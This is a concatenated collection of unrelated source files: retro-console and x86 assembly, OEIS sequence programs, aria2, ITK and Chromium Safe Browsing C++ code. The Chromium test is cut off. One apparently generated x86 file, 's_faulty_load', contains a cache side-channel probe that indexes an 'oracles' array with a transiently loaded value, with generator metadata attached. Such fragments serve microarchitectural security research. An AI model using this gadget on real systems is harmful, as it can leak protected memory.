ld d, a
ld a, [instr+1]
and %10000000
swap a
or d
ld [rAUD4POLY], a
ld a, [instr+1]
and %01000000 ; get only length enabled
ld [rAUD4GO], a
ld a, [macro_index]
inc a
cp 8
jp nz, .done
xor a
.done:
ld [macro_index], a
reti
_convert_ch4_note:
;; Call with:
;; Note number in A
;; Stores polynomial counter in A
;; Free: HL
;; Invert the order of the numbers
add 192 ; (255 - 63)
cpl
;; Thanks to RichardULZ for this formula
;; https://docs.google.com/spreadsheets/d/1O9OTAHgLk1SUt972w88uVHp44w7HKEbS/edit#gid=75028951
; if A > 7 then begin
; B := (A-4) div 4;
; C := (A mod 4)+4;
; A := (C or (B shl 4))
; end;
; if A < 7 then return
cp 7
ret c
ld h, a
; B := (A-4) div 4;
sub 4
srl a
srl a
ld l, a
; C := (A mod 4)+4;
ld a, h
and 3
add 4
; A := (C or (B shl 4))
swap l
or l
ret
init:
; jp _halt
_addr = _AUD3WAVERAM
REPT 16
ld a, $FF
ld [_addr], a
_addr = _addr + 1
ENDR
ld a, $80
ld [rAUDENA], a
; Enable all channels in stereo
ld a, $FF
ld [rAUDTERM], a
; Set volume
ld a, $77
ld [rAUDVOL], a
; silence ch3
ld a, 0
ld [rAUD3LEVEL], a
;; Enable the HBlank interrupt on scanline 0
ld a, [rSTAT]
or a, STATF_LYC
ld [rSTAT], a
xor a ; ld a, 0
ld [rLYC], a
ld a, IEF_LCDC
ld [rIE], a
ei
_halt:
halt
nop
jr _halt |
; A086577: a(n) = 6*(10^n - 1).
; 0,54,594,5994,59994,599994,5999994,59999994,599999994,5999999994,59999999994,599999999994,5999999999994,59999999999994,599999999999994,5999999999999994,59999999999999994,599999999999999994,5999999999999999994,59999999999999999994,599999999999999999994
mov $1,10
pow $1,$0
sub $1,1
mul $1,6
mov $0,$1
|
dnl mpn_double
dnl Copyright 2011 The Code Cavern
dnl This file is part of the MPIR Library.
dnl The MPIR Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published
dnl by the Free Software Foundation; either version 2.1 of the License, or (at
dnl your option) any later version.
dnl The MPIR Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the MPIR Library; see the file COPYING.LIB. If not, write
dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
dnl Boston, MA 02110-1301, USA.
include(`../config.m4')
ASM_START()
PROLOGUE(mpn_double)
mov %rsi,%rax
shr $2,%rsi
and $3,%eax
jz t1
shlq $1,(%rdi)
lea 8(%rdi),%rdi
dec %rax
jz t1
rclq $1,(%rdi)
lea 8(%rdi),%rdi
dec %rax
jz t1
rclq $1,(%rdi)
lea 8(%rdi),%rdi
dec %rax
t1:
sbb %rdx,%rdx
cmp $0,%rsi
jz skiplp
add %rdx,%rdx
.align 16
lp:
rclq $1,(%rdi)
nop
rclq $1,8(%rdi)
rclq $1,16(%rdi)
rclq $1,24(%rdi)
nop
dec %rsi
lea 32(%rdi),%rdi
jnz lp
sbb %rdx,%rdx
skiplp:
sub %rdx,%rax
ret
EPILOGUE()
|
; A125254: Smallest prime divisor of 4n-1 that is of the form 4k-1.
; 3,7,11,3,19,23,3,31,7,3,43,47,3,11,59,3,67,71,3,79,83,3,7,19,3,103,107,3,23,7,3,127,131,3,139,11,3,151,31,3,163,167,3,7,179,3,11,191,3,199,7,3,211,43,3,223,227,3,47,239,3,19,251,3,7,263,3,271,11,3,283,7,3,59,23,3,307,311,3,11,19,3,331,67,3,7,347,3,71,359,3,367,7,3,379,383,3,23,79,3
add $0,2
mov $1,$0
mov $2,1
mov $3,1
lpb $1
sub $1,$2
dif $1,$3
sub $3,4
lpe
mod $0,$3
sub $0,2
mul $0,4
add $0,3
|
; A040507: Continued fraction for sqrt(531).
; 23,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46,23,46
pow $1,$0
sub $1,2
gcd $1,$0
mul $1,23
|
; A270794: The prime/nonprime compound sequence BAA.
; Submitted by Jamie Morken(s1)
; 6,9,18,26,45,57,81,91,112,143,165,203,228,244,267,303,345,354,411,437,454,495,530,564,623,668,687,714,728,749,856,893,931,959,1032,1054,1104,1158,1185,1233,1268,1298,1372,1392,1425,1445,1539,1672,1698,1714,1742,1773,1802,1886,1914,1966,2031,2050,2104
seq $0,6450 ; Prime-indexed primes: primes with prime subscripts.
seq $0,141468 ; Zero together with the nonprime numbers A018252.
|
/* <!-- copyright */
/*
* aria2 - The high speed download utility
*
* Copyright (C) 2009 Tatsuhiro Tsujikawa
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. If you
* do not wish to do so, delete this exception statement from your
* version. If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
/* copyright --> */
#include "RangeBtMessage.h"
#include "util.h"
#include "a2functional.h"
#include "bittorrent_helper.h"
namespace aria2 {
RangeBtMessage::RangeBtMessage(uint8_t id, const char* name, size_t index,
int32_t begin, int32_t length)
: SimpleBtMessage(id, name), index_(index), begin_(begin), length_(length)
{
}
std::vector<unsigned char> RangeBtMessage::createMessage()
{
/**
* len --- 13, 4bytes
* id --- ?, 1byte
* index --- index, 4bytes
* begin --- begin, 4bytes
* length -- length, 4bytes
* total: 17bytes
*/
auto msg = std::vector<unsigned char>(MESSAGE_LENGTH);
bittorrent::createPeerMessageString(msg.data(), MESSAGE_LENGTH, 13, getId());
bittorrent::setIntParam(&msg[5], index_);
bittorrent::setIntParam(&msg[9], begin_);
bittorrent::setIntParam(&msg[13], length_);
return msg;
}
std::string RangeBtMessage::toString() const
{
return fmt("%s index=%lu, begin=%d, length=%d", getName(),
static_cast<unsigned long>(index_), begin_, length_);
}
} // namespace aria2
|
/*=========================================================================
*
* Copyright NumFOCUS
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*=========================================================================*/
#ifndef itkMahalanobisDistanceMembershipFunction_hxx
#define itkMahalanobisDistanceMembershipFunction_hxx
#include "itkMahalanobisDistanceMembershipFunction.h"
#include "vnl/vnl_vector.h"
#include "vnl/vnl_matrix.h"
#include "vnl/algo/vnl_matrix_inverse.h"
namespace itk
{
namespace Statistics
{
template <typename TVector>
MahalanobisDistanceMembershipFunction<TVector>::MahalanobisDistanceMembershipFunction()
{
NumericTraits<MeanVectorType>::SetLength(m_Mean, this->GetMeasurementVectorSize());
m_Mean.Fill(0.0f);
m_Covariance.SetSize(this->GetMeasurementVectorSize(), this->GetMeasurementVectorSize());
m_Covariance.SetIdentity();
m_InverseCovariance = m_Covariance;
m_CovarianceNonsingular = true;
}
template <typename TVector>
void
MahalanobisDistanceMembershipFunction<TVector>::SetMean(const MeanVectorType & mean)
{
if (this->GetMeasurementVectorSize())
{
MeasurementVectorTraits::Assert(mean,
this->GetMeasurementVectorSize(),
"GaussianMembershipFunction::SetMean(): Size of mean vector specified does not "
"match the size of a measurement vector.");
}
else
{
// not already set, cache the size
this->SetMeasurementVectorSize(mean.Size());
}
if (m_Mean != mean)
{
m_Mean = mean;
this->Modified();
}
}
template <typename TVector>
void
MahalanobisDistanceMembershipFunction<TVector>::SetCovariance(const CovarianceMatrixType & cov)
{
// Sanity check
if (cov.GetVnlMatrix().rows() != cov.GetVnlMatrix().cols())
{
itkExceptionMacro(<< "Covariance matrix must be square");
}
if (this->GetMeasurementVectorSize())
{
if (cov.GetVnlMatrix().rows() != this->GetMeasurementVectorSize())
{
itkExceptionMacro(<< "Length of measurement vectors must be"
<< " the same as the size of the covariance.");
}
}
else
{
// not already set, cache the size
this->SetMeasurementVectorSize(cov.GetVnlMatrix().rows());
}
if (m_Covariance == cov)
{
// no need to copy the matrix, compute the inverse, or the normalization
return;
}
m_Covariance = cov;
// the inverse of the covariance matrix is first computed by SVD
vnl_matrix_inverse<double> inv_cov(m_Covariance.GetVnlMatrix());
// the determinant is then costless this way
double det = inv_cov.determinant_magnitude();
if (det < 0.)
{
itkExceptionMacro(<< "det( m_Covariance ) < 0");
}
// 1e-6 is an arbitrary value!!!
const double singularThreshold = 1.0e-6;
m_CovarianceNonsingular = (det > singularThreshold);
if (m_CovarianceNonsingular)
{
// allocate the memory for m_InverseCovariance matrix
m_InverseCovariance.GetVnlMatrix() = inv_cov.inverse();
}
else
{
// define the inverse to be diagonal with large values along the
// diagonal. value chosen so (X-M)'inv(C)*(X-M) will usually stay
// below NumericTraits<double>::max()
const double aLargeDouble =
std::pow(NumericTraits<double>::max(), 1.0 / 3.0) / (double)this->GetMeasurementVectorSize();
m_InverseCovariance.SetSize(this->GetMeasurementVectorSize(), this->GetMeasurementVectorSize());
m_InverseCovariance.SetIdentity();
m_InverseCovariance *= aLargeDouble;
}
this->Modified();
}
template <typename TVector>
double
MahalanobisDistanceMembershipFunction<TVector>::Evaluate(const MeasurementVectorType & measurement) const
{
const MeasurementVectorSizeType measurementVectorSize = this->GetMeasurementVectorSize();
// Our inverse covariance is always well formed. When the covariance
// is singular, we use a diagonal inverse covariance with a large diagnonal
// temp = ( y - mean )^t * InverseCovariance * ( y - mean )
//
// This is manually done to remove dynamic memory allocation:
// double temp = dot_product( tempVector, m_InverseCovariance.GetVnlMatrix() * tempVector );
//
double temp = 0.0;
for (unsigned int r = 0; r < measurementVectorSize; ++r)
{
double rowdot = 0.0;
for (unsigned int c = 0; c < measurementVectorSize; ++c)
{
rowdot += m_InverseCovariance(r, c) * (measurement[c] - m_Mean[c]);
}
temp += rowdot * (measurement[r] - m_Mean[r]);
}
return temp;
}
template <typename TVector>
void
MahalanobisDistanceMembershipFunction<TVector>::PrintSelf(std::ostream & os, Indent indent) const
{
Superclass::PrintSelf(os, indent);
os << indent << "Mean: " << m_Mean << std::endl;
os << indent << "Covariance: " << std::endl;
os << m_Covariance.GetVnlMatrix();
os << indent << "InverseCovariance: " << std::endl;
os << indent << m_InverseCovariance.GetVnlMatrix();
os << indent << "Covariance nonsingular: " << (m_CovarianceNonsingular ? "true" : "false") << std::endl;
}
template <typename TVector>
typename LightObject::Pointer
MahalanobisDistanceMembershipFunction<TVector>::InternalClone() const
{
LightObject::Pointer loPtr = Superclass::InternalClone();
typename Self::Pointer membershipFunction = dynamic_cast<Self *>(loPtr.GetPointer());
if (membershipFunction.IsNull())
{
itkExceptionMacro(<< "downcast to type " << this->GetNameOfClass() << " failed.");
}
membershipFunction->SetMeasurementVectorSize(this->GetMeasurementVectorSize());
membershipFunction->SetMean(this->GetMean());
membershipFunction->SetCovariance(this->GetCovariance());
return loPtr;
}
} // end namespace Statistics
} // end of namespace itk
#endif
|
; A051880: a(n) = binomial(n+4,4)*(2*n+1).
; 1,15,75,245,630,1386,2730,4950,8415,13585,21021,31395,45500,64260,88740,120156,159885,209475,270655,345345,435666,543950,672750,824850,1003275,1211301,1452465,1730575,2049720,2414280,2828936,3298680,3828825,4425015,5093235
lpb $0
mov $1,$0
add $2,1
mov $3,$0
div $0,4913
add $2,$3
add $2,$1
add $1,4
add $4,$3
bin $1,$4
mul $1,$2
sub $1,1
lpe
add $1,1
|
;/*!
; @file
;
; @ingroup fapi
;
; @brief DosGetCtryInfo DOS wrapper
;
; (c) osFree Project 2018, <http://www.osFree.org>
; for licence see licence.txt in root directory, or project website
;
; This is Family API implementation for DOS, used with BIND tools
; to link required API
;
; @author Yuri Prokushev (yuri.prokushev@gmail.com)
;
;*/
.8086
; Helpers
INCLUDE helpers.inc
_TEXT SEGMENT DWORD PUBLIC 'CODE' USE16
@PROLOG DOSGETCTRYINFO
MLength DW ?
Structure DD ?
MemoryBuffer DD ?
DataLength DD ?
@START DOSGETCTRYINFO
; code here
@EPILOG DOSGETCTRYINFO
_TEXT ENDS
END
|
processor 6502
org $1000
loop:
lda #$03
sta $d021
sta $d020
jmp loop |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x151a5, %rcx
nop
nop
sub %r11, %r11
mov (%rcx), %r15
nop
nop
nop
nop
nop
and %r14, %r14
lea addresses_UC_ht+0x12b25, %rsi
lea addresses_WC_ht+0xafd5, %rdi
clflush (%rdi)
nop
cmp %rbx, %rbx
mov $16, %rcx
rep movsl
dec %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %rax
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_PSE+0xf929, %rsi
lea addresses_A+0x161c1, %rdi
clflush (%rsi)
nop
and $47683, %rax
mov $68, %rcx
rep movsb
nop
nop
nop
nop
and %rax, %rax
// Load
lea addresses_normal+0x13b25, %rsi
nop
nop
nop
and $28308, %rax
mov (%rsi), %cx
xor %r10, %r10
// Store
lea addresses_PSE+0xfd95, %rdi
clflush (%rdi)
nop
nop
nop
dec %rax
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
vmovups %ymm5, (%rdi)
nop
and %rax, %rax
// REPMOV
lea addresses_PSE+0xc725, %rsi
lea addresses_D+0x3a5, %rdi
nop
nop
nop
nop
nop
xor $17117, %r10
mov $19, %rcx
rep movsl
nop
nop
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_D+0xc585, %rdi
nop
nop
nop
nop
nop
inc %rcx
mov $0x5152535455565758, %rsi
movq %rsi, (%rdi)
nop
nop
nop
nop
nop
sub %rdi, %rdi
// Faulty Load
lea addresses_normal+0x13b25, %rdi
nop
nop
nop
cmp $18385, %r10
mov (%rdi), %r12
lea oracles, %rdi
and $0xff, %r12
shlq $12, %r12
mov (%rdi,%r12,1), %r12
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_PSE'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_PSE'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_D'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
// Copyright 2019 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/safe_browsing/core/realtime/url_lookup_service.h"
#include "base/test/metrics/histogram_tester.h"
#include "base/test/mock_callback.h"
#include "base/test/scoped_feature_list.h"
#include "base/test/task_environment.h"
#include "build/build_config.h"
#include "components/content_settings/core/browser/host_content_settings_map.h"
#include "components/safe_browsing/buildflags.h"
#include "components/safe_browsing/core/common/test_task_environment.h"
#include "components/safe_browsing/core/features.h"
#include "components/safe_browsing/core/verdict_cache_manager.h"
#include "components/signin/public/identity_manager/identity_test_environment.h"
#include "components/sync/driver/test_sync_service.h"
#include "components/sync_preferences/testing_pref_service_syncable.h"
#include "components/unified_consent/pref_names.h"
#include "components/unified_consent/unified_consent_service.h"
#include "services/network/public/cpp/shared_url_loader_factory.h"
#include "services/network/public/cpp/weak_wrapper_shared_url_loader_factory.h"
#include "services/network/test/test_url_loader_factory.h"
#include "testing/platform_test.h"
#if defined(OS_ANDROID)
#include "base/strings/string_number_conversions.h"
#include "base/system/sys_info.h"
#include "components/safe_browsing/core/realtime/policy_engine.h"
#endif
using ::testing::_;
namespace safe_browsing {
namespace {
constexpr char kTestEmail[] = "test@example.com";
constexpr char kRealTimeLookupUrlPrefix[] =
"https://safebrowsing.google.com/safebrowsing/clientreport/realtime";
} // namespace
class RealTimeUrlLookupServiceTest : public PlatformTest {
public:
void SetUp() override {
HostContentSettingsMap::RegisterProfilePrefs(test_pref_service_.registry());
safe_browsing::RegisterProfilePrefs(test_pref_service_.registry());
task_environment_ = CreateTestTaskEnvironment(
base::test::TaskEnvironment::TimeSource::MOCK_TIME);
PlatformTest::SetUp();
test_shared_loader_factory_ =
base::MakeRefCounted<network::WeakWrapperSharedURLLoaderFactory>(
&test_url_loader_factory_);
content_setting_map_ = new HostContentSettingsMap(
&test_pref_service_, false /* is_off_the_record */,
false /* store_last_modified */,
false /* migrate_requesting_and_top_level_origin_settings */,
false /* restore_session */);
cache_manager_ = std::make_unique<VerdictCacheManager>(
nullptr, content_setting_map_.get());
identity_test_env_ = std::make_unique<signin::IdentityTestEnvironment>();
rt_service_ = std::make_unique<RealTimeUrlLookupService>(
test_shared_loader_factory_, cache_manager_.get(),
identity_test_env_->identity_manager(), &test_sync_service_,
&test_pref_service_, ChromeUserPopulation::NOT_MANAGED,
/*is_under_advanced_protection=*/true,
/*is_off_the_record=*/false, /*variations_service=*/nullptr);
}
void TearDown() override {
cache_manager_.reset();
content_setting_map_->ShutdownOnUIThread();
}
bool CanCheckUrl(const GURL& url) {
return RealTimeUrlLookupServiceBase::CanCheckUrl(url);
}
void HandleLookupError() { rt_service_->HandleLookupError(); }
void HandleLookupSuccess() { rt_service_->HandleLookupSuccess(); }
bool IsInBackoffMode() { return rt_service_->IsInBackoffMode(); }
std::unique_ptr<RTLookupRequest> FillRequestProto(const GURL& url) {
return rt_service_->FillRequestProto(url);
}
std::unique_ptr<RTLookupResponse> GetCachedRealTimeUrlVerdict(
const GURL& url) {
return rt_service_->GetCachedRealTimeUrlVerdict(url);
}
void MayBeCacheRealTimeUrlVerdict(
GURL url,
RTLookupResponse::ThreatInfo::VerdictType verdict_type,
RTLookupResponse::ThreatInfo::ThreatType threat_type,
int cache_duration_sec,
const std::string& cache_expression,
RTLookupResponse::ThreatInfo::CacheExpressionMatchType
cache_expression_match_type) {
RTLookupResponse response;
RTLookupResponse::ThreatInfo* new_threat_info = response.add_threat_info();
new_threat_info->set_verdict_type(verdict_type);
new_threat_info->set_threat_type(threat_type);
new_threat_info->set_cache_duration_sec(cache_duration_sec);
new_threat_info->set_cache_expression_using_match_type(cache_expression);
new_threat_info->set_cache_expression_match_type(
cache_expression_match_type);
rt_service_->MayBeCacheRealTimeUrlVerdict(url, response);
}
void SetUpRTLookupResponse(
RTLookupResponse::ThreatInfo::VerdictType verdict_type,
RTLookupResponse::ThreatInfo::ThreatType threat_type,
int cache_duration_sec,
const std::string& cache_expression,
RTLookupResponse::ThreatInfo::CacheExpressionMatchType
cache_expression_match_type) {
RTLookupResponse response;
RTLookupResponse::ThreatInfo* new_threat_info = response.add_threat_info();
RTLookupResponse::ThreatInfo threat_info;
threat_info.set_verdict_type(verdict_type);
threat_info.set_threat_type(threat_type);
threat_info.set_cache_duration_sec(cache_duration_sec);
threat_info.set_cache_expression_using_match_type(cache_expression);
threat_info.set_cache_expression_match_type(cache_expression_match_type);
*new_threat_info = threat_info;
std::string expected_response_str;
response.SerializeToString(&expected_response_str);
test_url_loader_factory_.AddResponse(kRealTimeLookupUrlPrefix,
expected_response_str);
}
RealTimeUrlLookupService* rt_service() { return rt_service_.get(); }
void EnableRealTimeUrlLookup(bool is_with_token_enabled) {
unified_consent::UnifiedConsentService::RegisterPrefs(
test_pref_service_.registry());
test_pref_service_.SetUserPref(
unified_consent::prefs::kUrlKeyedAnonymizedDataCollectionEnabled,
std::make_unique<base::Value>(true));
#if defined(OS_ANDROID)
int system_memory_size = base::SysInfo::AmountOfPhysicalMemoryMB();
int memory_size_threshold = system_memory_size - 1;
if (is_with_token_enabled) {
feature_list_.InitWithFeaturesAndParameters(
/* enabled_features */ {{kRealTimeUrlLookupEnabled,
{ {
kRealTimeUrlLookupMemoryThresholdMb,
base::NumberToString(memory_size_threshold)
} }},
{ kRealTimeUrlLookupEnabledWithToken,
{} }},
/* disabled_features */ {});
} else {
feature_list_.InitWithFeaturesAndParameters(
/* enabled_features */ {{
kRealTimeUrlLookupEnabled,
{
{ kRealTimeUrlLookupMemoryThresholdMb,
base::NumberToString(memory_size_threshold) }
}
}},
/* disabled_features */ {});
}
#else
if (is_with_token_enabled) {
feature_list_.InitWithFeatures(
{kRealTimeUrlLookupEnabled, kRealTimeUrlLookupEnabledWithToken}, {});
} else {
feature_list_.InitWithFeatures({kRealTimeUrlLookupEnabled},
{kRealTimeUrlLookupEnabledWithToken});
}
#endif
}
void SetupPrimaryAccount() {
identity_test_env_->MakeUnconsentedPrimaryAccountAvailable(kTestEmail);
}
void WaitForAccessTokenRequestIfNecessaryAndRespondWithToken(
std::string token) {
identity_test_env_->WaitForAccessTokenRequestIfNecessaryAndRespondWithToken(
token, base::Time::Max());
}
network::TestURLLoaderFactory test_url_loader_factory_;
scoped_refptr<network::SharedURLLoaderFactory> test_shared_loader_factory_;
std::unique_ptr<RealTimeUrlLookupService> rt_service_;
std::unique_ptr<VerdictCacheManager> cache_manager_;
scoped_refptr<HostContentSettingsMap> content_setting_map_;
std::unique_ptr<base::test::TaskEnvironment> task_environment_;
std::unique_ptr<signin::IdentityTestEnvironment> identity_test_env_;
sync_preferences::TestingPrefServiceSyncable test_pref_service_;
syncer::TestSyncService test_sync_service_;
base::test::ScopedFeatureList feature_list_;
};
TEST_F(RealTimeUrlLookupServiceTest, TestFillRequestProto) {
struct SanitizeUrlCase {
const char* url;
const char* expected_url;
} sanitize_url_cases[] = {
{"http://example.com/", "http://example.com/"},
{"http://user:pass@example.com/", "http://example.com/"},
{"http://%123:bar@example.com/", "http://example.com/"},
{"http://example.com#123", "http://example.com/"}};
for (size_t i = 0; i < base::size(sanitize_url_cases); i++) {
GURL url(sanitize_url_cases[i].url);
auto result = FillRequestProto(url);
EXPECT_EQ(sanitize_url_cases[i].expected_url, result->url());
EXPECT_EQ(RTLookupRequest::NAVIGATION, result->lookup_type());
EXPECT_EQ(ChromeUserPopulation::SAFE_BROWSING,
result->population().user_population());
EXPECT_TRUE(result->population().is_history_sync_enabled());
EXPECT_EQ(ChromeUserPopulation::NOT_MANAGED,
result->population().profile_management_status());
#if BUILDFLAG(FULL_SAFE_BROWSING)
EXPECT_TRUE(result->population().is_under_advanced_protection());
#endif
}
}
TEST_F(RealTimeUrlLookupServiceTest, TestBackoffAndTimerReset) {
// Not in backoff at the beginning.
ASSERT_FALSE(IsInBackoffMode());
// Failure 1: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 2: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 3: Entered backoff.
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1 second.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 299 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(298));
EXPECT_TRUE(IsInBackoffMode());
// Backoff should have been reset after 300 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_FALSE(IsInBackoffMode());
}
TEST_F(RealTimeUrlLookupServiceTest, TestBackoffAndLookupSuccessReset) {
// Not in backoff at the beginning.
ASSERT_FALSE(IsInBackoffMode());
// Failure 1: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Lookup success resets the backoff counter.
HandleLookupSuccess();
EXPECT_FALSE(IsInBackoffMode());
// Failure 1: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 2: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Lookup success resets the backoff counter.
HandleLookupSuccess();
EXPECT_FALSE(IsInBackoffMode());
// Failure 1: No backoff.
HandleLookupError();
